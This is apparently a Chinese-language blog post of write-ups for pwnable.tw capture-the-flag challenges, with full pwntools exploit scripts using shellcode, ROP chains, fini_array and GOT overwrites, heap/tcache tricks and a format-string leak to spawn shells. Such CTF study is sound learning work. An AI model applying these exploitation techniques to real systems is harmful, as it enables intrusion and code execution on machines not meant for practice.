title: pwnable.tw date: 2021-11-26 16:02:02 tags:
pwnable.tw 开始刷pwnable.tw的题,看界面挺酷的,感觉非常有难度,希望能坚持的久一点。
start 保护全关,直接栈上写汇编就行,不过不能使用shellcraft.sh(),这个太大,自己写个汇编就行。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 from pwn import *context(os='linux' , arch='i386' , log_level='debug' ) sh=remote('chall.pwnable.tw' ,10000 ) payload='a' *4 *5 +p32(0x08048087 ) sh.recvuntil('Let\'s start the CTF:' ) sh.send(payload) stact_addr=u32(sh.recv(4 ))-4 +4 *5 +4 print hex (stact_addr)shellcode=''' mov eax, 11 mov ebx, {0} mov ecx, 0 mov edx, 0 int 0x80 ''' .format (stact_addr-4 -4 *5 )shellcode=asm(shellcode) print len (shellcode)payload='/bin/sh\x00' .ljust(4 *5 ,'a' )+p32(stact_addr)+shellcode sh.send(payload) sh.interactive()
总结 写的可能有点麻烦,但大概流程就是泄露栈地址,然后直接asm,这个程序有意思的地方是只有两个函数start和exit,一般程序启动时的调用过程是这样的,_start->
__libc_start_main->
main,其中start和libc_start_mian是gcc汇编的时候加进去的。
ORW 接收一个shellocde直接执行,没啥东西,不过这个是在段上执行,在本地竟然没办法执行也不知道为啥
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 from pwn import *context(os='linux' , arch='i386' , log_level='debug' ) sh=remote('chall.pwnable.tw' ,10001 ) shellcode=''' mov eax, 5 mov ebx, 0x804a100 mov ecx, 0 mov edx, 0 int 0x80 mov eax, 3 mov ebx, 3 mov ecx, 0x804a160 mov edx, 0x30 int 0x80 mov eax, 4 mov ebx, 1 mov ecx, 0x804a160 mov edx, 0x30 int 0x80 ''' shellcode=asm(shellcode) payload=shellcode.ljust(0xa0 ,'\x00' ) payload+='/home/orw/flag\x00' sh.recvuntil('Give my your shellcode:' ) sh.send(payload) print sh.recv()sh.interactive()
总结 系统调用时i386和amd64接收参数的寄存器不一样,amd64接收前三位参数的寄存器分别是’rdi,rsi,rdx’,i386是’ebx,ecx,edx’,平时的i386函数调用参数是放在栈上的。
CVE-2018-1160 看源码看得我头皮发麻,看别人的wp也看的我头皮发麻,应该不是我现在水平能做的,以后再回来填坑吧。
calc 代码比较复杂,看了快两个小时才看懂算法的整个策略,前半个多小时不知道calc是计算器的意思,看了老半天都没看懂这个程序是要干啥的,后面才知道calc是计算的意思,这个程序就是完成一个简单的计算器,策略是当前符号是+或者-则算上一次的符号,然后把当前符号压栈,如果是%,*,/就看上一次符号是不是+,-,如果是的话,把当前符号压栈,如果不是的话算上一次的符号,然后把当前符号压栈。策略是搞清楚了,但是漏洞还没找见🤦♀️🤦♀️🤦♀️🤦♀️
发现了一个盲点,表达式的第一个值可以是符号,我稍微试了一下,当出现’-8-8’,就会发生段错误,😃😃😃有比较明确的思路了
1 2 3 4 5 === Welcome to SECPROG calculator === +360+1 -5105367 段错误 (核心已转储)
历时五六个小时,终于做出来了,漏洞就是上面那个样子,不过得巧妙利用才行,最后修改calc函数的返回地址为构造的rop,最后成功getshell
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 from pwn import *sh=remote('chall.pwnable.tw' ,10100 ) ''' 0x08049a21: int 0x80; 0x0805c34b: pop eax; ret; 0x08070880: int 0x80; ret; 0x080481d1: pop ebx; ret; 0x080701d1: pop ecx; pop ebx; ret; 0x080701aa: pop edx; ret; 0x080bc4f6: pop esp; ret; ''' pop_eax=0x0805c34b pop_esp=0x080bc4f6 pop_ecx_ebx=0x080701d1 int80=0x08070880 pop_edx=0x080701aa bss_addr=0x80eb000 rop_read=[pop_eax,3 ,pop_ecx_ebx,bss_addr,0 ,pop_edx,0x50 ,int80,pop_esp,bss_addr+0x10 ] def rop_build (rop ): payload='+360+1' sh.sendline(payload) for i in range (len (rop)): m=361 +i payload='+{0}-1' .format (m) sh.sendline(payload) payload='+{0}+{1}' .format (m,rop[i]) sh.sendline(payload) payload='+{0}-{1}' .format (m+1 ,rop[i]-1 ) sh.sendline(payload) def exp (): payload='+360+1' sh.recvuntil('=== Welcome to SECPROG calculator ===' ) rop_build(rop_read) sh.send('\n' ) payload='/bin/sh\x00' .ljust(0x10 ,'\x00' )+p32(pop_eax)+p32(11 ) payload+=p32(pop_ecx_ebx)+p32(0 )+p32(bss_addr)+p32(pop_edx)+p32(0 ) payload+=p32(int80) sh.sendline(payload) sh.interactive() exp()
脚本写的比较复杂,估计几天后我来看也看不懂了,不过至今还没看过别人的wp,都是自己搞出来的😊
3x17 继续开刷,这个程序和上面那个一样也是静态链接,而且还没有符号表,连main函数都是我通过字符串找到的,main函数的代码比较简单,提供了一次任意写
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 int __cdecl main(int argc, const char **argv, const char **envp){ int result; // eax char *v4; // [rsp+8h] [rbp-28h] char buf[24 ]; // [rsp+10h] [rbp-20h] BYREF unsigned __int64 v6; // [rsp+28h] [rbp-8h] v6 = __readfsqword(0x28u); result = (unsigned __int8)++byte_4B9330; if ( byte_4B9330 == 1 ) { write(1u, "addr:" , 5uLL); read(0 , buf, 0x18uLL); v4 = (char *)(int )sub_40EE70((__int64)buf); write(1u, "data:" , 5uLL); read(0 , v4, 0x18uLL); result = 0 ; } if ( __readfsqword(0x28u) != v6 ) sub_44A3E0(); return result; }
因为是静态链接,所以没有plt和got,没法直接改函数地址完成攻击,难搞。🤦♀️
看了快两个小时没有看出来应该用这个任意写怎么攻击这个程序,看了别人的博客恍然大悟,原来是改fini_array的值,类似的题我之前在攻防世界上看过,但是没有这个难,那个就是改fini_array的一个指针为后门函数的地址然后调用,这个没有后门函数,就算有因为没有符号表你也看不出来,而且都还是syscall调用,也不能写shellcode,只能rop,能想到这其实也只是开头,最难的还是怎么构造rop,且容我从头细细道来。
如何控制程序流 在第一道题就已经初步了解过程序并不是直接调用main函数的,gcc编译的时候会在还会添加额外的函数,编译过后程序的调用过程是这样的。
1 _start -> __libc_start_main -> __libc_csu_init -> main -> __libc_csu__fini.
这个程序也是按这个执行的,只不过没有符号表不能立马找见函数,不过可以通过start的调用关系找见,漏洞成因在__libc_csu_init和__libc_csu__fini上面,这两个函数都有一个对应的虚表,一个是init_array,一个是fini_array,里面储存了函数指针,调用这两个函数时就会从自己的虚表的取出函数指针然后跳到这执行,这个虚表是可以更改的,所以可以通过这里拿到程序流了,两个虚表我们能利用的是fini_array,他储存着两个地址,
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 ini_array:00000000004B40F0 _fini_array segment qword public 'DATA' use64 .fini_array:00000000004B40F0 assume cs:_fini_array .fini_array:00000000004B40F0 ;org 4B40F0h .fini_array:00000000004B40F0 byte_4B40F0 db 0 ; DATA XREF: sub_4028D0+4C↑o .fini_array:00000000004B40F0 ; sub_402960+8↑o .fini_array:00000000004B40F1 db 1Bh .fini_array:00000000004B40F2 db 40h ; @ .fini_array:00000000004B40F3 db 0 .fini_array:00000000004B40F4 db 0 .fini_array:00000000004B40F5 db 0 .fini_array:00000000004B40F6 db 0 .fini_array:00000000004B40F7 db 0 .fini_array:00000000004B40F8 db 80h .fini_array:00000000004B40F9 db 15h .fini_array:00000000004B40FA db 40h ; @ .fini_array:00000000004B40FB db 0 .fini_array:00000000004B40FC db 0 .fini_array:00000000004B40FD db 0 .fini_array:00000000004B40FE db 0 .fini_array:00000000004B40FF db 0 .fini_array:00000000004B40FF _fini_array ends
调用时先调用fini_array[1],然后调用fini_array[0],只要把fini_array[1]写上main函数地址,然后把fini_array[1]写上__libc_csu__fini地址就能循环main函数,达成了多次任意写
由于我们找不见后门函数而且还是静态链接无法得到ogg,所以没办法一次性直接getshell,shellcode也不行,所以只能rop,但是我们不能直接控制rsp,现在问题更新了,该怎么控制rsp,rop又改写到哪。
通过浏览别的wp,他们结合rop的变化提供了一个非常巧妙的控制rop的gadget,_libc_csu_fini的代码大致如下。
1 2 .text:000000000040297D lea rbp, &fini_array .text:0000000000402988 call qword ptr [rbp+rbx*8+0]
先是让rbx储存fini_array的地址,然后通过rbp调用虚表中的函数,rbp不再指向栈帧而是指向了一个可以写的地址,那我们就可以利用rbp,把rbp的值赋值给rsp,我在ropper上面搜了,没有可以直接赋值的gadget,我在这里又卡住了,翻看了别人的wp发现竟然是用leave_ret进行赋值,妙👌leave_ret其实可以拆分成’mov rsp,rbp;pop rbp,ret’,完美把rbp赋值给rsp,当执行ret的时候rsp指向了fini_array[1],只要让fini_array[1]储存ret,那rsp又指向了fini_array+0x10,这个地址不属于fini_array且能写,只要向这里写入rop就完成攻击了。
脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 from pwn import *sh=remote('chall.pwnable.tw' ,10105 ) context(os='linux' ,log_level='debug' ,arch='amd64' ) fini_arrray=0x00000000004B40F0 pop_rax=0x000000000041e4af pop_rdi=0x0000000000401696 pop_rsi=0x0000000000406c30 pop_rdx=0x0000000000446e35 leavel_ret=0x401C4B rop_addr=0x4B4100 main=0x401B6D libc_cus_fini=0x402960 binsh_addr=0x4b4000 syscall=0x0000000000471db5 ret=0x0000000000401016 def write_addr (addr,data ): sh.recvuntil('addr:' ,timeout=10000 ) sh.send(str (addr)) sh.recvuntil("data:" ,timeout=10000 ) sh.send(data) def exp (): write_addr(fini_arrray,p64(libc_cus_fini)+p64(main)) write_addr(binsh_addr,'/bin/sh\x00' ) write_addr(rop_addr,p64(pop_rax)) write_addr(rop_addr+0x8 ,p64(0x3b )) write_addr(rop_addr+0x8 *2 ,p64(pop_rdi)) write_addr(rop_addr+0x8 *3 ,p64(binsh_addr)) write_addr(rop_addr+0x8 *4 ,p64(pop_rsi)) write_addr(rop_addr+0x8 *5 ,p64(0 )) write_addr(rop_addr+0x8 *6 ,p64(pop_rdx)) write_addr(rop_addr+0x8 *7 ,p64(0 )) write_addr(rop_addr+0x8 *8 ,p64(syscall)) write_addr(fini_arrray,p64(leavel_ret)+p64(ret)) sh.interactive() exp()
可惜的是可能我的vpn不是太好,跑远程的老是不行。
doublesort 保护
1 2 3 4 5 6 7 [*] '/home/rootzhang/get-shell/pwnable.tw/doublesort/pwn' Arch: i386-32-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled FORTIFY: Enabled
就是栈溢出主要是避免canary,通过这道题又学了一招,当scanf在缓存区拿值时检测到是非法字符并不会储存到对应地址,而是直接退出,所以只要构造非法字符就跳过对canary的覆盖就好了,不过不是任意字符,比如当出现’a’时它检测到’a’非法于是直接退出,这样一来’a’还是留在缓存区了,下次还是’a’,只有’+’或者’-‘时既会退出又更新了缓存区。
最后的exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 from pwn import *context(os='linux' ,log_level='debug' ,arch='i386' ) sh=process('./pwn' ) libc=ELF('/lib/i386-linux-gnu/libc.so.6' ) system_offset=libc.sym['system' ] binsh_offfset=libc.search('/bin/sh\x00' ).next () print hex (system_offset)print hex (binsh_offfset)''' 0x3a819 execve("/bin/sh", esp+0x34, environ) constraints: esi is the GOT address of libc [esp+0x34] == NULL 0x5f065 execl("/bin/sh", eax) constraints: esi is the GOT address of libc eax == NULL 0x5f066 execl("/bin/sh", [esp]) constraints: esi is the GOT address of libc [esp] == NULL ''' ogg=[0x3a819 ,0x5f065 ,0x5f066 ] def exp (): sh.recvuntil('What your name :' ) sh.send('a' *0x1b +'b' ) sh.recvuntil('aaab' ) libc_addr=u32(sh.recv(4 ))-0x1b1244 system=system_offset+libc_addr binsh=binsh_offfset+libc_addr elf_addr=u32(sh.recv(4 ))-0x601 canary=elf_addr+0xb2b print hex (libc_addr) sh.recvuntil('How many numbers do you what to sort :' ) sh.sendline(str (35 )) for i in range (0x18 ): sh.recvuntil('number : ' ) sh.sendline('123' ) sh.recvuntil('number : ' ) sh.sendline('+' ) for i in range (8 ): sh.recvuntil('number : ' ) sh.sendline(str (system)) sh.recvuntil('number : ' ) sh.sendline(str (binsh)) sh.recvuntil('number : ' ) sh.sendline(str (binsh)) sh.recv() sh.interactive() exp()
我sb了,32位系统函数地址后跟着的是返回地址,并不直接是参数,这个卡了快两个小时,64位的题做多了。
hacknote 这道题我之前做过,翻我博客应该能看见,就不做了。
silver bullet 这道题在最近一次比赛中见过,漏洞差不多,但攻击程序的方式不太一样,之前那道题就是利用stncat拷贝字节后会再添加一个\x00,这样就能越界覆盖了,然后那道题还给了一个libc地址和任意写,直接打exit_hook了,这道题只有strncat,但是没有canary保护,我现在的思路就是直接栈溢出完成攻击
成功了,这是脚本,我觉得这道题比calc要简单多了,不知道为啥还没有calc做出来的多
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 from pwn import *context(os='linux' ,log_level='debug' ) sh=process('./pwn' ) libc=ELF('/lib/i386-linux-gnu/libc.so.6' ) elf=ELF('./pwn' ) puts_plt=elf.plt['puts' ] puts_got=elf.got['puts' ] def create_silver (context ): sh.recvuntil('Your choice :' ) sh.sendline('1' ) sh.recvuntil('Give me your description of bullet :' ) sh.send(context) def power_up (context ): sh.recvuntil('Your choice :' ) sh.sendline('2' ) sh.recvuntil('Give me your another description of bullet :' ) sh.send(context) def exp (): gdb.attach(sh,'b *0x08048A18' ) create_silver('a' *47 ) power_up('a' ) payload='\xff\xff\xff' +'a' *4 +p32(puts_plt)+p32(0x08048954 )+p32(puts_got) power_up(payload) sh.recvuntil('Your choice :' ) sh.sendline('3' ) sh.recvuntil('Oh ! You win !!\n' ) libc_base=u32(sh.recv(4 ))-libc.sym['puts' ] system=libc_base+libc.sym['system' ] binsh=libc_base+next (libc.search('/bin/sh\x00' )) create_silver('a' *47 ) power_up('a' ) payload='\xff\xff\xff' +'a' *4 +p32(system)+p32(0x08048954 )+p32(binsh) power_up(payload) sh.recvuntil('Your choice :' ) sh.sendline('3' ) sh.interactive() exp()
appstore 看懂程序的整个流程看了快一个小时吧,看懂后找见了漏洞但是不知道怎么利用,又卡了好久,最后想不出来看别的wp了。
看完wp后慢脑子都是秒啊😃😃,竟然是利用ebp进行got写,未曾设想过得道理。
保护
1 2 3 4 RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x8048000)
可以写got表还不开pie.
漏洞 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 unsigned int checkout () { int v1; char *v2[5 ]; unsigned int v3; v3 = __readgsdword(0x14 u); v1 = cart(); if ( v1 == 7174 ) { puts ("*: iPhone 8 - $1" ); asprintf(v2, "%s" , "iPhone 8" ); v2[1 ] = (char *)1 ; insert((int )v2); v1 = 7175 ; } printf ("Total: $%d\n" , v1); puts ("Want to checkout? Maybe next time!" ); return __readgsdword(0x14 u) ^ v3; }
当所购物品总价等于7174时,没有用堆记录节点并链接到链表上,而是把信息记录在栈上面,堆上的信息我们不可能改写,但是栈上的数据是可能的啊,如果能改写这个节点信息,那就可以干好多事了。
漏洞利用 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 int cart() { int v0; // eax int v2; // [esp+18h] [ebp-30h] int v3; // [esp+1Ch] [ebp-2Ch] int i; // [esp+20h] [ebp-28h] char buf[22]; // [esp+26h] [ebp-22h] BYREF unsigned int v6; // [esp+3Ch] [ebp-Ch] v6 = __readgsdword(0x14u); v2 = 1; v3 = 0; printf("Let me check your cart. ok? (y/n) > "); fflush(stdout); my_read(buf, 0x15u); if ( buf[0] == 121 ) { puts("==== Cart ===="); for ( i = *(_DWORD *)&byte_804B070; i; i = *(_DWORD *)(i + 8) ) { v0 = v2++; printf("%d: %s - $%d\n", v0, *(const char **)i, *(_DWORD *)(i + 4)); v3 += *(_DWORD *)(i + 4); } } return v3; }
handler的所有分支函数的ebp都是不变的,在checkout函数中节点离ebp0x20,在其他函数中比如上面这个,buf离ebp0x22,离节点只差0x2个字节,那就可以利用Buf来改写节点信息
可以通过改写节点信息leak地址,我以前只会leak出libc的地址和elf的地址,没想到还能leak栈地址,在libc的environ中就记录着一个栈地址,利用这个栈地址就可以推出所以栈地址了。
leak完地址就该控制程序流了,可惜的是这道题不能直接改got表,脱链操作是双向的,system那块地址不能写,那该怎么控制程序流呢,这道题最妙的地方来了😊,先是利用栈地址把ebp改成atoi_got+0x22,然后退出del程序,然后ebp就指向了atoi_got了,然后程序根据ebp的值为索引进行写操作,如下
1 2 3 4 5 6 7 8 9 10 11 12 unsigned int handler () { char nptr[22 ]; unsigned int v2; v2 = __readgsdword(0x14 u); while ( 1 ) { printf ("> " ); fflush(stdout ); my_read(nptr, 0x15 u); switch ( atoi(nptr) )
此时nptr就指向了atoi_got,实际上就是向atoi_got中写入数据,我们写个system+’;/bin/sh’岂不是妙哉
下面是完整代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 from os import systemfrom pwn import *sh=process('./pwn' ) context(os='linux' ,log_level='debug' ) libc=ELF('/lib/i386-linux-gnu/libc.so.6' ) elf=ELF('./pwn' ) def buy_apple (idx ): sh.recvuntil('> ' ) sh.sendline('2' ) sh.recvuntil('Device Number>' ) sh.sendline(str (idx)) def exp (): gdb.attach(sh,'b *0x08048A13' ) for i in range (7 ): buy_apple(1 ) for i in range (18 ): buy_apple(2 ) buy_apple(4 ) sh.recvuntil('> ' ) sh.sendline('5' ) sh.recvuntil('Let me check your cart. ok? (y/n) > ' ) sh.sendline('y\x00' ) sh.recvuntil('> ' ) sh.sendline('4' ) sh.recvuntil('Let me check your cart. ok? (y/n) > ' ) payload='y\x00' +p32(elf.got['puts' ])+p32(0 )+p32(0 ) sh.send(payload) sh.recvuntil('27: ' ) libc_base=u32(sh.recv(4 ))-libc.sym['puts' ] system=libc_base+libc.sym['system' ] print hex (libc_base) sh.recvuntil('> ' ) sh.sendline('4' ) environ_addr=libc_base+libc.sym['environ' ] sh.recvuntil('Let me check your cart. ok? (y/n) > ' ) payload='y\x00' +p32(environ_addr)+p32(0 )+p32(0 ) sh.send(payload) sh.recvuntil('27: ' ) ebp=u32(sh.recv(4 ))-260 print hex (ebp) atoi_got=elf.got['atoi' ] sh.recvuntil('> ' ) sh.sendline('3' ) print hex (atoi_got) payload=str (27 )+p64(0 )+p32(atoi_got+0x22 )+p32(ebp-8 ) sh.recvuntil('Item Number> ' ) sh.send(payload) sh.recvuntil("> " ) sh.sendline(p32(system)+";/bin/sh\x00" ) sh.interactive() exp()
relloc 全程使用realloc函数进行堆的申请和释放,下面是realloc函数的特性
当size
为0,就等于free()
函数,同时返回值为NULL
当指针为0,size
大于0,就等于malloc()
函数
size
小于等于原来的size
,则在原堆块上缩小,多余的大小free()
掉
size
大于原来的size
,如果bin
中有多余的堆块就进行扩充,没有多余的堆块则重新分配新的堆块,并将内容复制到新的堆块中,然后再将原来的堆块free()
掉
漏洞 在reallocate的时候只限制的最大值,没有限制最小值,所以可以输入0造成ufa.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 int reallocate () { unsigned __int64 v1; unsigned __int64 size; void *v3; printf ("Index:" ); v1 = read_long(); if ( v1 > 1 || !heap[v1] ) return puts ("Invalid !" ); printf ("Size:" ); size = read_long(); if ( size > 0x78 ) return puts ("Too large!" ); v3 = realloc ((void *)heap[v1], size); if ( !v3 ) return puts ("alloc error" ); heap[v1] = v3; printf ("Data:" ); return read_input(heap[v1], (unsigned int )size); }
漏洞利用 思路1 这个函数没有show功能,所以本来计划是拿ufa打stdout,打也打成功了,libc地址也拿到了,但是heap[0]这个指针算费了,因为realloc函数会对传进来的指针进行检查,如果不是堆上的地址就会报错退出,heap[0]已经指向了stdout了,后续没法再使用heap[0],最可恶的是这个程序只能有两个指针,剩下的一个指正根本没办法申请到别的地方,我是做不到,虽然没做出来,但还是把脚本放出来,因为在打stdout的时候还利用了malloc_consolidate,利用scanf申请一个largebin大小的堆,然后就会触发malloc_consolidate合并fastbin相邻的堆块放到smallbin上面,算是一个小知识点。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 from os import systemfrom pwn import *context(os='linux' ,log_level='debug' ) sh=process('./pwn' ) libc=ELF('/lib/x86_64-linux-gnu/libc.so.6' ) elf=ELF('./pwn' ) scanf_got=elf.got['__isoc99_scanf' ] scanf_addr=libc.sym['__isoc99_scanf' ] system_addr=libc.sym['system' ] atoi_addr=libc.sym['atoll' ] print hex (system_addr)print hex (atoi_addr)print hex (scanf_addr)def alloc (idx,size,data ): sh.recvuntil('Your choice:' ) sh.sendline('1' ) sh.recvuntil('Index:' ) sh.sendline(str (idx)) sh.recvuntil('Size:' ) sh.sendline(str (size)) sh.recvuntil('Data:' ) sh.send(data) def realloc (idx,size,data ): sh.recvuntil('Your choice:' ) sh.sendline('2' ) sh.recvuntil('Index:' ) sh.sendline(str (idx)) sh.recvuntil('Size:' ) sh.sendline(str (size)) sh.recvuntil('Data:' ) sh.send(data) def free (idx ): sh.recvuntil('Your choice:' ) sh.sendline('3' ) sh.recvuntil('Index:' ) sh.sendline(str (idx)) def ufa (idx,size ): sh.recvuntil('Your choice:' ) sh.sendline('2' ) sh.recvuntil('Index:' ) sh.sendline(str (idx)) sh.recvuntil('Size:' ) sh.sendline(str (size)) def exp (): alloc(0 ,0x30 ,'aaa' ) alloc(1 ,0x30 ,'aaa' ) for i in range (7 ): ufa(0 ,0 ) realloc(0 ,0x30 ,p64(0 )+p64(0 )) ufa(0 ,0 ) free(1 ) alloc(1 ,0x50 ,'aaa' ) sh.recvuntil('Your choice: ' ) sh.sendline('1' *0x600 ) realloc(0 ,0x70 ,'\x58\xe7' ) free(1 ) alloc(1 ,0x30 ,'aa' ) realloc(1 ,0x10 ,'a' ) free(1 ) payload=p64(0 )+p64(0xfbad1800 )+p64(0 )*3 sh.recvuntil('Your choice:' ) sh.sendline('1' ) sh.recvuntil('Index:' ) sh.sendline(str (1 )) sh.recvuntil('Size:' ) sh.sendline(str (0x30 )) sh.send(payload) libc_base=u64(sh.recvuntil('\x7f' )[-6 :].ljust(8 ,'\x00' ))-0x3ed8b0 system=libc_base+libc.sym['system' ] free realloc(0 ,0x10 ,p64(0 )*2 ) free(0 ) alloc(0 ,0x48 ,'a' ) ufa(0 ,0 ) realloc(0 ,0x48 ,p64(scanf_got)+p64(0 )+'a' *0x40 ) gdb.attach(sh) sh.interactive() exp()
思路二 这个利用方法不行那就换种利用方法,既然能任意地址申请那就直接申请到got表上面进行爆破system地址完成getshell,我采用atoll的got表项,因为atoll的偏移和system偏移很像
1 2 system:0x4f550 atoll: 0x407d0
只要libc的倒数第四个16进制数是0.那这两个地址前面都一样,就最后两个字节不一样,而且system的最后两个字节是\x50\xf5,但经过验证发现跑不通,源于以下代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 if ( v4 ) { heap[v2] = v4; printf ("Data:" ); v0 = (_BYTE *)(heap[v2] + read_input(heap[v2], (unsigned int )size)); *v0 = 0 ; __int64 __fastcall read_input (__int64 a1, unsigned int a2) { __int64 result; LODWORD(result) = __read_chk(0LL , a1, a2, a2); if ( !(_DWORD)result ) { puts ("read error" ); _exit(1 ); } if ( *(_BYTE *)((int )result - 1LL + a1) == 10 ) *(_BYTE *)((int )result - 1LL + a1) = 0 ; return (int )result; }
有一个off by null,这就意味着要改got表的话,倒数第五个16进制数和倒数第6个十六进制数会被覆盖成0,本来值覆盖两个字节的,结果覆盖了3个,system的地址是有可能会这样,但几率太小了,16 * 16 * 16的几率
思路三 这是我走投无路看别人的wp知道的,不得不说真的很巧妙,漏洞利用是门艺术我觉得在这道题上就有所体现👍👍,我也知道他为啥只有三百多解了,我头一次见用got表利用格式化字符串泄露libc基地址,也更加理解了realloc,不得不说realloc真的很怪,假如ptr是第一个参数,n是第二个参数,当ptr存在,n大于ptr的size的时候,竟然不从tcache上面找合适的链表,而是从topchunk上面重新分配,当ptr不存在,n大于0的时候才相当于一般的malloc,最恶心的机制是还是他会会对ptr进行检查🤢🤢。
大致思路就是先往teache的两个不同size的链表上上atoll_got,然后申请一个改atoll_got为printf_plt,然后格式化字符串泄露基地址,再把另一个atol_got申请到,改成system,输入’/bin/sh\x00’来getshell.最难的是第一步,下面是实现第一步的代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 alloc(0 ,0x10 ,'a' ) ufa(0 ) realloc(0 ,0x10 ,p64(atoll_got)) alloc(1 ,0x10 ,'a' ) realloc(0 ,0x20 ,'a' ) free(0 ) realloc(1 ,0x20 ,p64(0 )*2 ) free(1 ) alloc(0 ,0x30 ,'a' ) ufa(0 ) realloc(0 ,0x30 ,p64(atoll_got)) alloc(1 ,0x30 ,'a' ) realloc(0 ,0x40 ,'a' ) free(0 ) realloc(1 ,0x40 ,p64(0 )*2 ) free(1 ) 上面的0 和1 始终紧邻topchunk,这样就可以改变0 和1 对应堆的大小又不至于使其被free掉,改变了size后再free的话就可以使刚才链表的第一个堆还是atoll_got,这样重复两次就可以了。
先利用0x30链表上的got改成printf_plt,然后再利用0x10改成system,注意顺序不能乱,因为第一次后atoll就成pritnf,当第二次执行atoll得到idx和size的时候数值是函数的返回值,这时候printf的返回值就被当成了idx和size,printf的返回值是输出的格式化字符的个数,要想第二次idx=1,size<=0x10,printf输出的字符串个数就得等于1和小于等于0x10,下面是代码实现
1 2 3 4 sh.recvuntil('Index:' ) sh.send('1' +'\x00' ) sh.recvuntil('Size:' ) sh.sendline('a' *10 +'\x00' )
下面是处理size的函数代码,可见printf最多输出24个字符,0x30>24,所以不行。
1 2 3 4 5 6 7 8 9 __int64 read_long () { char nptr[24 ]; unsigned __int64 v2; v2 = __readfsqword(0x28 u); __read_chk(0LL , nptr, 16LL , 17LL ); return atoll(nptr); }
这是最终脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 from os import systemfrom pwn import *context(os='linux' ,log_level='debug' ) sh=process('./pwn' ) libc=ELF('/lib/x86_64-linux-gnu/libc.so.6' ) elf=ELF('./pwn' ) atoll_got=elf.got['atoll' ] print_plt=elf.plt['printf' ] def alloc (idx,size,data ): sh.recvuntil('Your choice:' ) sh.sendline('1' ) sh.recvuntil('Index:' ) sh.send(str (idx)) sh.recvuntil('Size:' ) sh.send(str (size)) sh.recvuntil('Data:' ) sh.send(data) def realloc (idx,size,data ): sh.recvuntil('Your choice:' ) sh.sendline('2' ) sh.recvuntil('Index:' ) sh.sendline(str (idx)) sh.recvuntil('Size:' ) sh.sendline(str (size)) sh.recvuntil('Data:' ) sh.send(data) def free (idx ): sh.recvuntil('Your choice:' ) sh.sendline('3' ) sh.recvuntil('Index:' ) sh.sendline(str (idx)) def ufa (idx ): sh.recvuntil('Your choice:' ) sh.sendline('2' ) sh.recvuntil('Index:' ) sh.sendline(str (idx)) sh.recvuntil('Size:' ) sh.sendline('0' ) def exp (): alloc(0 ,0x10 ,'a' ) ufa(0 ) realloc(0 ,0x10 ,p64(atoll_got)) alloc(1 ,0x10 ,'a' ) realloc(0 ,0x20 ,'a' ) free(0 ) realloc(1 ,0x20 ,p64(0 )*2 ) free(1 ) alloc(0 ,0x30 ,'a' ) ufa(0 ) realloc(0 ,0x30 ,p64(atoll_got)) alloc(1 ,0x30 ,'a' ) realloc(0 ,0x40 ,'a' ) free(0 ) realloc(1 ,0x40 ,p64(0 )*2 ) free(1 ) alloc(0 ,0x30 ,p64(print_plt)) sh.recvuntil('Your choice:' ) sh.sendline('2' ) sh.recvuntil('Index:' ) sh.sendline('%9$p' ) libc_base=int (sh.recvuntil('\n' ).split('\n' )[0 ],16 )-0x3ec760 print hex (libc_base) system=libc_base+libc.sym['system' ] sh.recvuntil('Your choice:' ) sh.sendline('1' ) sh.recvuntil('Index:' ) sh.send('1' +'\x00' ) sh.recvuntil('Size:' ) sh.sendline('a' *10 +'\x00' ) sh.recvuntil('Data:' ) sh.send(p64(system)) free('/bin/sh\x00' ) sh.interactive() exp()
总结 got表真是个好东西(如果能写的话)